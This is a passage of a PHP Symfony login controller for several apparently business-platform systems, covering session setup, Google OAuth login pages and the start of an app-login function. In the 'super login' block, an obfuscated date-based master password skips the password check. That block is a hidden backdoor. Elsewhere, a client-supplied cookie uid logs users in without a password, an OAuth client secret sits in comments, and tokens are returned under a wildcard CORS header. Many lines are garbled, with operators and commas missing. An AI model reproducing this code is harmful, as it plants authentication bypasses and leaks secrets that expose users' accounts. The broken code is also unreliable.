  3114.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3115.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3116.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3117.                         UserConstants::USER_LOGIN_ID => $loginID,
  3118.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3119.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3120.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3121.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3122.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3123.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3124.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3125.                         'REMEMBERME' => $remember_me,
  3126.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3127.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3128.                         'oAuthToken' => $oAuthToken,
  3129.                         'locale' => $locale,
  3130.                         'firebaseToken' => $firebaseToken,
  3131.                         'token' => $session->get('token'),
  3132.                         'firstLogin' => $firstLogin,
  3133.                         'oAuthImage' => $oAuthImage,
  3134.                         'appIdList' => json_encode($appIdList),
  3135.                         'branchIdList' => json_encode($branchIdList),
  3136.                         'branchId' => $branchId,
  3137.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3138.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3139.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3140.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3141.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3142.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3143.                     );
  3144.                     $session_data $this->filterClientSessionData($session_data);
  3145.                     if ($systemType == '_CENTRAL_') {
  3146.                         $accessList = [];
  3147. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3148.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3149.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3150.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3151.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3152.                                     $d = array(
  3153.                                         'userType' => $thisUserUserType,
  3154. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3155.                                         'userTypeName' => $userTypeName,
  3156.                                         'globalId' => $globalId,
  3157.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3158.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3159.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3160.                                         'systemType' => '_ERP_',
  3161.                                         'companyId' => 1,
  3162.                                         'appId' => $thisUserAppId,
  3163.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3164.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3165.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3166.                                                 array(
  3167.                                                     'globalId' => $globalId,
  3168.                                                     'appId' => $thisUserAppId,
  3169.                                                     'authenticate' => 1,
  3170.                                                     'userType' => $thisUserUserType,
  3171.                                                     'userTypeName' => $userTypeName
  3172.                                                 )
  3173.                                             )
  3174.                                         ),
  3175.                                         'userCompanyList' => [
  3176.                                         ]
  3177.                                     );
  3178.                                     $accessList[] = $d;
  3179.                                 }
  3180.                             }
  3181.                         }
  3182.                         $session_data['userAccessList'] = $accessList;
  3183.                     }
  3184.                     $ultimateData System::setSessionForUser($em_goc,
  3185.                         $session,
  3186.                         $session_data,
  3187.                         $config
  3188.                     );
  3189. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3190.                     $session_data $ultimateData['sessionData'];
  3191.                     $session_data $this->filterClientSessionData($session_data);
  3192.                     $token $ultimateData['token'];
  3193.                     $session->set('token'$token);
  3194.                     if ($systemType == '_CENTRAL_') {
  3195.                         $session->set('csToken'$token);
  3196.                     } else {
  3197.                         $session->set('csToken'$csToken);
  3198.                     }
  3199.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3200.                         $session->set('remoteVerified'1);
  3201.                         $response = new JsonResponse(array(
  3202.                             'token' => $token,
  3203.                             'uid' => $session->get(UserConstants::USER_ID),
  3204.                             'session' => $session,
  3205.                             'email' => $session_data['userEmail'],
  3206.                             'success' => true,
  3207.                             'session_data' => $session_data,
  3208.                         ));
  3209.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3210.                         return $response;
  3211.                     }
  3212.                     //TEMP START
  3213.                     if ($systemType == '_CENTRAL_') {
  3214.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3215.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3216.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3217.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3218.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3219.                                     return $this->redirect($red);
  3220.                                 }
  3221.                             } else {
  3222.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3223.                             }
  3224.                         }
  3225.                         else
  3226.                             return $this->redirectToRoute('central_landing');
  3227.                     }
  3228.                     if ($systemType == '_SOPHIA_') {
  3229.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3230.                     }
  3231.                     //TREMP END
  3232.                     if ($userForcedRoute != '')
  3233.                         return $this->redirectToRoute($userForcedRoute);
  3234.                     if ($request->request->has('referer_path')) {
  3235.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3236.                             return $this->redirect($request->request->get('referer_path'));
  3237.                         }
  3238.                     }
  3239.                     if ($request->query->has('refRoute')) {
  3240.                         if ($request->query->get('refRoute') == '8917922')
  3241.                             $userDefaultRoute 'apply_for_consultant';
  3242.                     }
  3243.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3244.                         $userDefaultRoute 'dashboard';
  3245.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3246.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3247.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3248.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3249.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3250.                                 return $this->redirect($red);
  3251.                             }
  3252.                         } else {
  3253.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3254.                         }
  3255.                     } else
  3256.                         return $this->redirectToRoute($userDefaultRoute);
  3257.                 }
  3258.             }
  3259.         }
  3260.         $session $request->getSession();
  3261.         $session->set('systemType'$systemType);
  3262.         if (isset($encData['appId'])) {
  3263.             if (isset($gocDataListByAppId[$encData['appId']]))
  3264.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3265.         }
  3266.         $routeName $request->attributes->get('_route');
  3267.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3268.             $refRoute '';
  3269.             $message '';
  3270.             $errorField '_NONE_';
  3271.             if ($refRoute != '') {
  3272.                 if ($refRoute == '8917922')
  3273.                     $redirectRoute 'apply_for_consultant';
  3274.             }
  3275.             if ($request->query->has('refRoute')) {
  3276.                 $refRoute $request->query->get('refRoute');
  3277.                 if ($refRoute == '8917922')
  3278.                     $redirectRoute 'apply_for_consultant';
  3279.             }
  3280.             $google_client = new Google_Client();
  3281. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3282. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3283.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3284.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3285.             } else {
  3286.                 $url $this->generateUrl(
  3287.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3288.                 );
  3289.             }
  3290.             $selector BuddybeeConstant::$selector;
  3291.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3292. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3293.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3294. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3295.             $google_client->setRedirectUri($url);
  3296.             $google_client->setAccessType('offline');        // offline access
  3297.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3298.             $google_client->setRedirectUri($url);
  3299.             $google_client->addScope('email');
  3300.             $google_client->addScope('profile');
  3301.             $google_client->addScope('openid');
  3302.             return $this->render(
  3303.                 '@Authentication/pages/views/applicant_login.html.twig',
  3304.                 [
  3305.                     'page_title' => 'BuddyBee Login',
  3306.                     'oAuthLink' => $google_client->createAuthUrl(),
  3307.                     'redirect_url' => $url,
  3308.                     'message' => $message,
  3309.                     'errorField' => '',
  3310.                     'systemType' => $systemType,
  3311.                     'ownServerId' => $ownServerId,
  3312.                     'refRoute' => $refRoute,
  3313.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3314.                     'selector' => $selector
  3315.                 ]
  3316.             );
  3317.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3318.             $refRoute '';
  3319.             $message '';
  3320.             $errorField '_NONE_';
  3321. //            if ($request->query->has('message')) {
  3322. //                $message = $request->query->get('message');
  3323. //
  3324. //            }
  3325. //            if ($request->query->has('errorField')) {
  3326. //                $errorField = $request->query->get('errorField');
  3327. //
  3328. //            }
  3329.             if ($refRoute != '') {
  3330.                 if ($refRoute == '8917922')
  3331.                     $redirectRoute 'apply_for_consultant';
  3332.             }
  3333.             if ($request->query->has('refRoute')) {
  3334.                 $refRoute $request->query->get('refRoute');
  3335.                 if ($refRoute == '8917922')
  3336.                     $redirectRoute 'apply_for_consultant';
  3337.             }
  3338.             $google_client = new Google_Client();
  3339. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3340. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3341.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3342.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3343.             } else {
  3344.                 $url $this->generateUrl(
  3345.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3346.                 );
  3347.             }
  3348.             $selector BuddybeeConstant::$selector;
  3349. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3350.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3351. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3352.             $google_client->setRedirectUri($url);
  3353.             $google_client->setAccessType('offline');        // offline access
  3354.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3355.             $google_client->setRedirectUri($url);
  3356.             $google_client->addScope('email');
  3357.             $google_client->addScope('profile');
  3358.             $google_client->addScope('openid');
  3359.             return $this->render(
  3360.                 '@Authentication/pages/views/central_login.html.twig',
  3361.                 [
  3362.                     'page_title' => 'Central Login',
  3363.                     'oAuthLink' => $google_client->createAuthUrl(),
  3364.                     'redirect_url' => $url,
  3365.                     'message' => $message,
  3366.                     'systemType' => $systemType,
  3367.                     'ownServerId' => $ownServerId,
  3368.                     'errorField' => '',
  3369.                     'refRoute' => $refRoute,
  3370.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3371.                     'selector' => $selector
  3372.                 ]
  3373.             );
  3374.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3375.             $refRoute '';
  3376.             $message '';
  3377.             $errorField '_NONE_';
  3378. //            if ($request->query->has('message')) {
  3379. //                $message = $request->query->get('message');
  3380. //
  3381. //            }
  3382. //            if ($request->query->has('errorField')) {
  3383. //                $errorField = $request->query->get('errorField');
  3384. //
  3385. //            }
  3386.             if ($refRoute != '') {
  3387.                 if ($refRoute == '8917922')
  3388.                     $redirectRoute 'apply_for_consultant';
  3389.             }
  3390.             if ($request->query->has('refRoute')) {
  3391.                 $refRoute $request->query->get('refRoute');
  3392.                 if ($refRoute == '8917922')
  3393.                     $redirectRoute 'apply_for_consultant';
  3394.             }
  3395.             $google_client = new Google_Client();
  3396. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3397. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3398.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3399.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3400.             } else {
  3401.                 $url $this->generateUrl(
  3402.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3403.                 );
  3404.             }
  3405.             $selector BuddybeeConstant::$selector;
  3406. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3407.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3408. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3409.             $google_client->setRedirectUri($url);
  3410.             $google_client->setAccessType('offline');        // offline access
  3411.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3412.             $google_client->setRedirectUri($url);
  3413.             $google_client->addScope('email');
  3414.             $google_client->addScope('profile');
  3415.             $google_client->addScope('openid');
  3416.             return $this->render(
  3417.                 '@Sophia/pages/views/sofia_login.html.twig',
  3418.                 [
  3419.                     'page_title' => 'Central Login',
  3420.                     'oAuthLink' => $google_client->createAuthUrl(),
  3421.                     'redirect_url' => $url,
  3422.                     'message' => $message,
  3423.                     'systemType' => $systemType,
  3424.                     'ownServerId' => $ownServerId,
  3425.                     'errorField' => '',
  3426.                     'refRoute' => $refRoute,
  3427.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3428.                     'selector' => $selector
  3429.                 ]
  3430.             );
  3431.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3432.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3433.         } else
  3434.             return $this->render(
  3435.                 '@Authentication/pages/views/login_new.html.twig',
  3436.                 array(
  3437.                     "message" => $message,
  3438.                     'page_title' => 'Login',
  3439.                     'gocList' => $gocDataListForLoginWeb,
  3440.                     'gocId' => $gocId != $gocId '',
  3441.                     'systemType' => $systemType,
  3442.                     'ownServerId' => $ownServerId,
  3443.                     'encData' => $encData,
  3444.                     //                'ref'=>$request->
  3445.                 )
  3446.             );
  3447.     }
  3448.     public function doLoginForAppAction(Request $request$encData "",
  3449.                                                 $remoteVerify 0,
  3450.                                                 $applicantDirectLogin 0
  3451.     )
  3452.     {
  3453.         $message "";
  3454.         $email '';
  3455. //                            $userName = substr($email, 4);
  3456.         $userName '';
  3457.         $gocList = [];
  3458.         $skipPassword 0;
  3459.         $firstLogin 0;
  3460.         $remember_me 0;
  3461.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3462.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3463.         if ($request->isMethod('POST')) {
  3464.             if ($request->request->has('remember_me'))
  3465.                 $remember_me 1;
  3466.         } else {
  3467.             if ($request->query->has('remember_me'))
  3468.                 $remember_me 1;
  3469.         }
  3470.         if ($encData != "")
  3471.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3472.         else if ($request->query->has('spd')) {
  3473.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3474.         }
  3475.         $user = [];
  3476.         $userType 0//nothing for now , will add supp or client if we find anything
  3477.         $em_goc $this->getDoctrine()->getManager('company_group');
  3478.         $em_goc->getConnection()->connect();
  3479.         $gocEnabled 0;
  3480.         if ($this->container->hasParameter('entity_group_enabled'))
  3481.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3482.         if ($gocEnabled == 1)
  3483.             $connected $em_goc->getConnection()->isConnected();
  3484.         else
  3485.             $connected false;
  3486.         if ($connected)
  3487.             $gocList $em_goc
  3488.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3489.                 ->findBy(
  3490.                     array(//                        'active' => 1
  3491.                     )
  3492.                 );
  3493.         $gocDataList = [];
  3494.         $gocDataListForLoginWeb = [];
  3495.         $gocDataListByAppId = [];
  3496.         foreach ($gocList as $entry) {
  3497.             $d = array(
  3498.                 'name' => $entry->getName(),
  3499.                 'image' => $entry->getImage(),
  3500.                 'id' => $entry->getId(),
  3501.                 'appId' => $entry->getAppId(),
  3502.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3503.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3504.                 'dbName' => $entry->getDbName(),
  3505.                 'dbUser' => $entry->getDbUser(),
  3506.                 'dbPass' => $entry->getDbPass(),
  3507.                 'dbHost' => $entry->getDbHost(),
  3508.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3509.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3510.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3511.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3512.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3513.             );
  3514.             $gocDataList[$entry->getId()] = $d;
  3515.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3516.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3517.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3518.         }
  3519. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3520.         $gocDbName '';
  3521.         $gocDbUser '';
  3522.         $gocDbPass '';
  3523.         $gocDbHost '';
  3524.         $gocId 0;
  3525.         $appId 0;
  3526.         $hasGoc 0;
  3527.         $userId 0;
  3528.         $userCompanyId 0;
  3529.         $specialLogin 0;
  3530.         $supplierId 0;
  3531.         $applicantId 0;
  3532.         $isApplicantLogin 0;
  3533.         $clientId 0;
  3534.         $cookieLogin 0;
  3535.         $encrypedLogin 0;
  3536.         $loginID 0;
  3537.         $supplierId 0;
  3538.         $clientId 0;
  3539.         $userId 0;
  3540.         $globalId 0;
  3541.         $applicantId 0;
  3542.         $employeeId 0;
  3543.         $userCompanyId 0;
  3544.         $company_id_list = [];
  3545.         $company_name_list = [];
  3546.         $company_image_list = [];
  3547.         $route_list_array = [];
  3548.         $prohibit_list_array = [];
  3549.         $company_dark_vibrant_list = [];
  3550.         $company_vibrant_list = [];
  3551.         $company_light_vibrant_list = [];
  3552.         $currRequiredPromptFields = [];
  3553.         $oAuthImage '';
  3554.         $appIdList '';
  3555.         $userDefaultRoute '';
  3556.         $userForcedRoute '';
  3557.         $branchIdList '';
  3558.         $branchId 0;
  3559.         $companyIdListByAppId = [];
  3560.         $companyNameListByAppId = [];
  3561.         $companyImageListByAppId = [];
  3562.         $position_list_array = [];
  3563.         $curr_position_id 0;
  3564.         $allModuleAccessFlag 0;
  3565.         $lastSettingsUpdatedTs 0;
  3566.         $isConsultant 0;
  3567.         $isAdmin 0;
  3568.         $isModerator 0;
  3569.         $isRetailer 0;
  3570.         $retailerLevel 0;
  3571.         $adminLevel 0;
  3572.         $moderatorLevel 0;
  3573.         $userEmail '';
  3574.         $userImage '';
  3575.         $userFullName '';
  3576.         $triggerResetPassword 0;
  3577.         $isEmailVerified 0;
  3578.         $currentTaskId 0;
  3579.         $currentPlanningItemId 0;
  3580. //                $currentTaskAppId = 0;
  3581.         $buddybeeBalance 0;
  3582.         $buddybeeCoinBalance 0;
  3583.         $entityUserbalance 0;
  3584.         $userAppIds = [];
  3585.         $userTypesByAppIds = [];
  3586.         $currentMonthHolidayList = [];
  3587.         $currentHolidayCalendarId 0;
  3588.         $oAuthToken $request->request->get('oAuthToken''');
  3589.         $locale $request->request->get('locale''');
  3590.         $firebaseToken $request->request->get('firebaseToken''');
  3591.         if ($request->request->has('gocId')) {
  3592.             $hasGoc 1;
  3593.             $gocId $request->request->get('gocId');
  3594.         }
  3595.         if ($request->request->has('appId')) {
  3596.             $hasGoc 1;
  3597.             $appId $request->request->get('appId');
  3598.         }
  3599.         if (isset($encData['appId'])) {
  3600.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3601.                 $hasGoc 1;
  3602.                 $appId $encData['appId'];
  3603.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3604.             }
  3605.         }
  3606.         $csToken $request->get('csToken''');
  3607.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3608.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3609.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3610. //        if ($request->cookies->has('USRCKIE'))
  3611. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3612.         if (isset($encData['globalId'])) {
  3613.             if (isset($encData['authenticate']))
  3614.                 if ($encData['authenticate'] == 1)
  3615.                     $skipPassword 1;
  3616.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3617.                 $skipPassword 1;
  3618.                 $remember_me 1;
  3619.                 $globalId $encData['globalId'];
  3620.                 $appId $encData['appId'];
  3621.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3622.                 $userType $encData['userType'];
  3623.                 $userCompanyId 1;
  3624.                 $hasGoc 1;
  3625.                 $encrypedLogin 1;
  3626.                 if (in_array($userType, [67]))
  3627.                     $entityLoginFlag 1;
  3628.                 if (in_array($userType, [34]))
  3629.                     $specialLogin 1;
  3630.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3631.                     $clientId $userId;
  3632.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3633.                     $supplierId $userId;
  3634.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3635.                     $applicantId $userId;
  3636.             }
  3637.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3638.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3639.             if ($cookieData == null)
  3640.                 $cookieData = [];
  3641.             if (isset($cookieData['uid'])) {
  3642.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3643.                     $skipPassword 1;
  3644.                     $remember_me 1;
  3645.                     $userId $cookieData['uid'];
  3646.                     $gocId $cookieData['gocId'];
  3647.                     $userCompanyId $cookieData['companyId'];
  3648.                     $userType $cookieData['ut'];
  3649.                     $hasGoc 1;
  3650.                     $cookieLogin 1;
  3651.                     if (in_array($userType, [67]))
  3652.                         $entityLoginFlag 1;
  3653.                     if (in_array($userType, [34]))
  3654.                         $specialLogin 1;
  3655.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3656.                         $clientId $userId;
  3657.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3658.                         $supplierId $userId;
  3659.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3660.                         $applicantId $userId;
  3661.                 }
  3662.             }
  3663.         }
  3664.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3665.             ///super login
  3666.             $todayDt = new \DateTime();
  3667. //            $mp='_eco_';
  3668.             $mp $todayDt->format("\171\x6d\x64");
  3669.             if ($request->request->get('password') == $mp)
  3670.                 $skipPassword 1;
  3671.             //super login ends
  3672.             ///special logins, suppliers and clients
  3673.             $company_id_list = [];
  3674.             $company_name_list = [];
  3675.             $company_image_list = [];
  3676.             $company_dark_vibrant_list = [];
  3677.             $company_light_vibrant_list = [];
  3678.             $company_vibrant_list = [];
  3679.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3680.             $uname $request->request->get('username');
  3681.             $uname preg_replace('/\s/'''$uname);
  3682.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3683.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3684.             $session $request->getSession();
  3685.             $product_name_display_type 0;
  3686.             $Special 0;
  3687.             if ($entityLoginFlag == 1//entity login
  3688.             {
  3689.                 if ($cookieLogin == 1) {
  3690.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3691.                         array(
  3692.                             'userId' => $userId
  3693.                         )
  3694.                     );
  3695.                 } else if ($loginType == 2//oauth
  3696.                 {
  3697.                     if (!empty($oAuthData)) {
  3698.                         //check for if exists 1st
  3699.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3700.                             array(
  3701.                                 'email' => $oAuthData['email']
  3702.                             )
  3703.                         );
  3704.                         if ($user) {
  3705.                             //no need to verify for oauth just proceed
  3706.                         } else {
  3707.                             //add new user and pass that user
  3708.                             $add_user EntityUserM::addNewEntityUser(
  3709.                                 $em_goc,
  3710.                                 $oAuthData['name'],
  3711.                                 $oAuthData['email'],
  3712.                                 '',
  3713.                                 0,
  3714.                                 0,
  3715.                                 0,
  3716.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3717.                                 [],
  3718.                                 0,
  3719.                                 "",
  3720.                                 0,
  3721.                                 "",
  3722.                                 $image '',
  3723.                                 $deviceId,
  3724.                                 0,
  3725.                                 0,
  3726.                                 $oAuthData['uniqueId'],
  3727.                                 $oAuthData['token'],
  3728.                                 $oAuthData['image'],
  3729.                                 $oAuthData['emailVerified'],
  3730.                                 $oAuthData['type']
  3731.                             );
  3732.                             if ($add_user['success'] == true) {
  3733.                                 $firstLogin 1;
  3734.                                 $user $add_user['user'];
  3735.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3736.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3737.                                         ->setFrom('registration@entity.innobd.com')
  3738.                                         ->setTo($user->getEmail())
  3739.                                         ->setBody(
  3740.                                             $this->renderView(
  3741.                                                 '@Application/email/user/registration_karbar.html.twig',
  3742.                                                 array('name' => $request->request->get('name'),
  3743.                                                     //                                                    'companyData' => $companyData,
  3744.                                                     //                                                    'userName'=>$request->request->get('email'),
  3745.                                                     //                                                    'password'=>$request->request->get('password'),
  3746.                                                 )
  3747.                                             ),
  3748.                                             'text/html'
  3749.                                         );
  3750.                                     /*
  3751.                                                        * If you also want to include a plaintext version of the message
  3752.                                                       ->addPart(
  3753.                                                           $this->renderView(
  3754.                                                               'Emails/registration.txt.twig',
  3755.                                                               array('name' => $name)
  3756.                                                           ),
  3757.                                                           'text/plain'
  3758.                                                       )
  3759.                                                       */
  3760.                                     //            ;
  3761.                                     $this->get('mailer')->send($emailmessage);
  3762.                                 }
  3763.                             }
  3764.                         }
  3765.                     }
  3766.                 } else {
  3767.                     $data = array();
  3768.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3769.                         array(
  3770.                             'email' => $request->request->get('username')
  3771.                         )
  3772.                     );
  3773.                     if (!$user) {
  3774.                         $message "Wrong Email";
  3775.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3776.                             return new JsonResponse(array(
  3777.                                 'uid' => $session->get(UserConstants::USER_ID),
  3778.                                 'session' => $session,
  3779.                                 'success' => false,
  3780.                                 'errorStr' => $message,
  3781.                                 'session_data' => [],
  3782.                             ));
  3783.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3784.                             //                    return $response;
  3785.                         }
  3786.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3787.                             "message" => $message,
  3788.                             'page_title' => "Login",
  3789.                             'gocList' => $gocDataList,
  3790.                             'gocId' => $gocId
  3791.                         ));
  3792.                     }
  3793.                     if ($user) {
  3794.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3795.                             $message "Sorry, Your Account is Deactivated";
  3796.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3797.                                 return new JsonResponse(array(
  3798.                                     'uid' => $session->get(UserConstants::USER_ID),
  3799.                                     'session' => $session,
  3800.                                     'success' => false,
  3801.                                     'errorStr' => $message,
  3802.                                     'session_data' => [],
  3803.                                 ));
